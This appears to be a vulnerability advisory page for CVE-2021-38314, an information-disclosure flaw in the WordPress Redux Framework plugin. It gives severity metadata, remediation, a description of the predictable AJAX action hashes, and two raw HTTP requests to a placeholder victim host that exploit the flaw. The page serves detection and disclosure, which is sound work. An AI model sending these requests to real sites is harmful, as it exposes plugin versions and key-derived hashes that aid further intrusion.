🔙 목록으로 돌아가기

CVE-2021-38314: WordPress Redux Framework <=4.2.11 - Information Disclosure

TitleWordPress Redux Framework <=4.2.11 - Information Disclosure
Authormeme-lord
SeverityMedium
ImpactAn attacker can exploit this vulnerability to gain sensitive information from the target system.
RemediationUpdate WordPress Redux Framework to version 4.2.12 or later.
CVSS Score5.3
EPSS Score0.8852
CVE IDCVE-2021-38314
CWE IDCWE-916,CWE-200
Tags cve2021 cve wordpress wp-plugin redux vuln

🔍 Vulnerability Description

WordPress Redux Framework plugin through 4.2.11 is susceptible to information disclosure. The plugin registers several unique AJAX actions available to unauthenticated users in the includes function in redux-core/class-redux-core.php. These are predictable, given that they are based on an md5 hash of the site URL with a known salt value of -redux and an md5 hash of the previous hash with a known salt value of -support. An attacker can potentially employ these AJAX actions to retrieve a list of active plugins and their versions, the site’s PHP version, and an unsalted md5 hash of the site’s AUTH_KEY concatenated with the SECURE_AUTH_KEY.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=51401970a7895db9a333f6cb5bb1c47f HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
GET /wp-admin/admin-ajax.php?action=167f0a557f047ad21a7da3684a5b2bf1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Accept: */*
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38314.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-38314.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A